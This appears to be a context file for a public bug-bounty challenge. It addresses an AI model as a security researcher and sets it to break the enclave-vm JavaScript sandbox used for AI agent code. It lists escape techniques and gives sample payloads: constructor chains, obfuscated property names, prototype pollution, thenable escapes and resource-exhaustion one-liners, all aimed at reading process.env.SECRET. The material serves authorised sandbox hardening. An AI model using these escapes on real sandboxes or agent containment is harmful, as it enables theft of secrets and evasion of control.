# Enclave Security Challenge - Full LLM Context File
# https://enclave.agentfront.dev
#
# This file contains detailed context for AI security researchers
# testing the enclave-vm sandbox.

## Your Mission

You are an AI security researcher. Your goal is to find vulnerabilities in the enclave-vm sandbox.
The sandbox protects against code injection, prototype pollution, and sandbox escapes.
If you can bypass the sandbox and access process.env.SECRET, you've found a vulnerability!

## The Environment

- Code runs in enclave-vm, a JavaScript sandbox
- The sandbox blocks: eval, Function constructor, prototype pollution, infinite loops
- You have access to callTool() for interacting with a mock database
- Successful bypasses should be reported as security vulnerabilities

## AgentScript Language Reference

AgentScript is a restricted JavaScript subset designed for safe AI agent orchestration.

### callTool(toolName, args) - Call a backend tool

```javascript
// Available tools:
await callTool('users.list', { limit: 10, offset: 0 });
await callTool('users.search', { query: 'alice' });
await callTool('users.filter', { role: 'admin', active: true });
await callTool('users.aggregate', { groupBy: 'department' });
await callTool('users.permissions', { userId: 'usr_001' });
await callTool('users.bulkGet', { ids: ['usr_001', 'usr_002'] });
await callTool('users.map', { fields: ['id', 'name'] });
await callTool('users.count', { role: 'developer' });
await callTool('math.add', { a: 5, b: 3 });
await callTool('string.reverse', { text: 'hello' });
```

### Allowed Globals

| Category | Globals |
|----------|---------|
| **Core API** | `callTool` |
| **Data Types** | `Math`, `JSON`, `Array`, `Object`, `String`, `Number`, `Date` |
| **Constants** | `undefined`, `NaN`, `Infinity` |
| **Utilities** | `parseInt`, `parseFloat`, `isNaN`, `isFinite` |
| **URI Encoding** | `encodeURI`, `decodeURI`, `encodeURIComponent`, `decodeURIComponent` |
| **Debugging** | `console` (rate-limited) |

### Allowed Language Features

| Feature | Example |
|---------|---------|
| `await callTool()` | `await callTool('api:get', { id: 1 })` |
| `for...of` loops | `for (const x of items) { }` |
| `for` loops | `for (let i = 0; i < 10; i++) { }` |
| Arrow functions | `items.map(x => x.id)` |
| Array methods | `map`, `filter`, `reduce`, `find`, `some`, `every` |
| Object literals | `{ key: 'value' }` |
| Template literals | `` `Hello ${name}` `` |
| Destructuring | `const { id, name } = user` |
| Spread operator | `[...items, newItem]` |
| `if/else` | `if (x > 0) { } else { }` |
| Ternary | `x > 0 ? 'yes' : 'no'` |

### Blocked Globals (Always blocked)

| Category | Blocked |
|----------|---------|
| **Code Execution** | `eval`, `Function`, `AsyncFunction`, `GeneratorFunction` |
| **System Access** | `process`, `require`, `module`, `exports`, `__dirname`, `__filename`, `Buffer` |
| **Global Objects** | `window`, `globalThis`, `self`, `global`, `this` |
| **Prototype** | `constructor`, `__proto__`, `prototype` |
| **Reflection** | `Proxy`, `Reflect` |
| **Async Flooding** | `Promise`, `setTimeout`, `setInterval`, `setImmediate`, `queueMicrotask` |
| **Network** | `fetch`, `XMLHttpRequest`, `WebSocket` |
| **Workers** | `Worker`, `SharedWorker`, `ServiceWorker` |
| **Memory Hazards** | `Map`, `Set`, `WeakMap`, `WeakSet`, `WeakRef`, `FinalizationRegistry` |
| **Binary/Wasm** | `WebAssembly`, `ArrayBuffer`, `SharedArrayBuffer`, `Atomics` |
| **Error Types** | `Error`, `TypeError`, `ReferenceError`, `SyntaxError`, `RangeError` |
| **Symbols/Regex** | `Symbol`, `RegExp` |

### Blocked Language Features

| Feature | Reason |
|---------|--------|
| `eval()`, `Function()` | Code execution |
| `while`, `do...while` | Unbounded loops |
| `function` declarations | No recursion (v1) |
| Regex literals (`/pattern/`) | ReDoS prevention |
| Regex methods | ReDoS prevention |

### User Data Schema

```typescript
interface User {
  id: string;
  name: string;
  email: string;
  role: 'admin' | 'developer' | 'manager' | 'analyst' | 'designer' | 'intern';
  department: string;
  salary: number;
  createdAt: string;
  active: boolean;
  permissions: string[];
}
```

## Attack Categories to Try

### 1. Code Injection
- Direct eval(): `eval('code')`
- Indirect eval: `this['ev' + 'al']('code')`
- Function constructor: `new Function('return code')()`
- Dynamic import: `await import('module')`
- setTimeout string: `setTimeout('code', 0)`

### 2. Global Access
- Process access: `process.env.SECRET`
- GlobalThis: `globalThis.process`
- Require: `require('fs')`
- Module: `module.exports`

### 3. Prototype Pollution
- Object.prototype: `Object.prototype.polluted = true`
- __proto__: `obj.__proto__.polluted = true`
- setPrototypeOf: `Object.setPrototypeOf(obj, malicious)`

### 4. Constructor Escape
- Object chain: `({}).constructor.constructor('return process')()`
- Array chain: `[].constructor.constructor('return process')()`
- Error chain: `new Error().constructor.constructor('return process')()`
- This escape: `this.constructor.constructor('return process')()`
- Async function: `(async function(){}).constructor('return process')()`
- Generator: `(function*(){}).constructor('return process')()`

### 5. Obfuscation Techniques
- Unicode: `'\u0063onstructor'` (builds "constructor")
- Hex: `'\x63onstructor'` (builds "constructor")
- Base64: `atob('Y29uc3RydWN0b3I=')` (decodes to "constructor")
- Array join: `['con','structor'].join('')`
- fromCharCode: `String.fromCharCode(99,111,110,115,116,114,117,99,116,111,114)`
- Reverse: `'rotcurtsnoc'.split('').reverse().join('')`

### 6. Meta-Programming
- defineProperty: `Object.defineProperty(obj, 'key', { value: malicious })`
- Reflect.get: `Reflect.get(target, 'constructor')`
- Reflect.construct: `Reflect.construct(Function, ['return process'])`
- Proxy: `new Proxy({}, { get: () => process })`

### 7. Resource Exhaustion
- Infinite loop: `while(true){}`
- Memory bomb: `new ArrayBuffer(2*1024*1024*1024)`
- String repeat: `'a'.repeat(1e9)`
- ReDoS: `/^(a+)+b$/.test('a'.repeat(25)+'c')`

### 8. Async Attacks
- Promise storm: Create thousands of promises
- Microtask flood: `Promise.resolve().then(recurse)`
- Thenable escape: Custom .then() to access constructors

## Example Attack Attempts

### Constructor Chain via Error
```javascript
const Fn = new Error().constructor.constructor;
const getProcess = Fn('return process');
return getProcess().env.SECRET;
```

### Unicode Obfuscation
```javascript
const c = '\u0063onstructor';
const Fn = Array[c][c];
return Fn('return process')();
```

### Thenable Promise Escape
```javascript
const thenable = {
  then: (resolve) => {
    const Fn = resolve.constructor.constructor;
    resolve(Fn('return process')());
  }
};
return Promise.resolve(thenable);
```

### Prototype Pollution via Object.create
```javascript
const proto = { get secret() { return process.env.SECRET; }};
const obj = Object.create(proto);
return obj.secret;
```

## Valid Code Example (Should Pass)

```javascript
// Multi-step orchestration in ONE round-trip
const deptStats = await callTool('users.aggregate', {
  groupBy: 'department'
});

let topDept = null, topAvg = 0;
for (const [dept, stats] of Object.entries(deptStats.groups)) {
  if (stats.avgSalary > topAvg) {
    topAvg = stats.avgSalary;
    topDept = dept;
  }
}

const topUsers = await callTool('users.filter', {
  department: topDept,
  active: true
});

return {
  department: topDept,
  avgSalary: topAvg,
  employees: topUsers.users.map(u => u.name)
};
```

## Tips for Finding Vulnerabilities

1. Try combining multiple techniques (obfuscation + constructor chain)
2. Look for timing windows in async code
3. Try to access internal properties of built-in objects
4. Experiment with edge cases in type coercion
5. Look for ways to leak references to the outer scope

## Reporting Vulnerabilities

Report successful bypasses to: https://github.com/agentfront/enclave/security/advisories/new

Include:
- The exact code that bypassed the sandbox
- What was accessed (e.g., process.env)
- Any observed behavior differences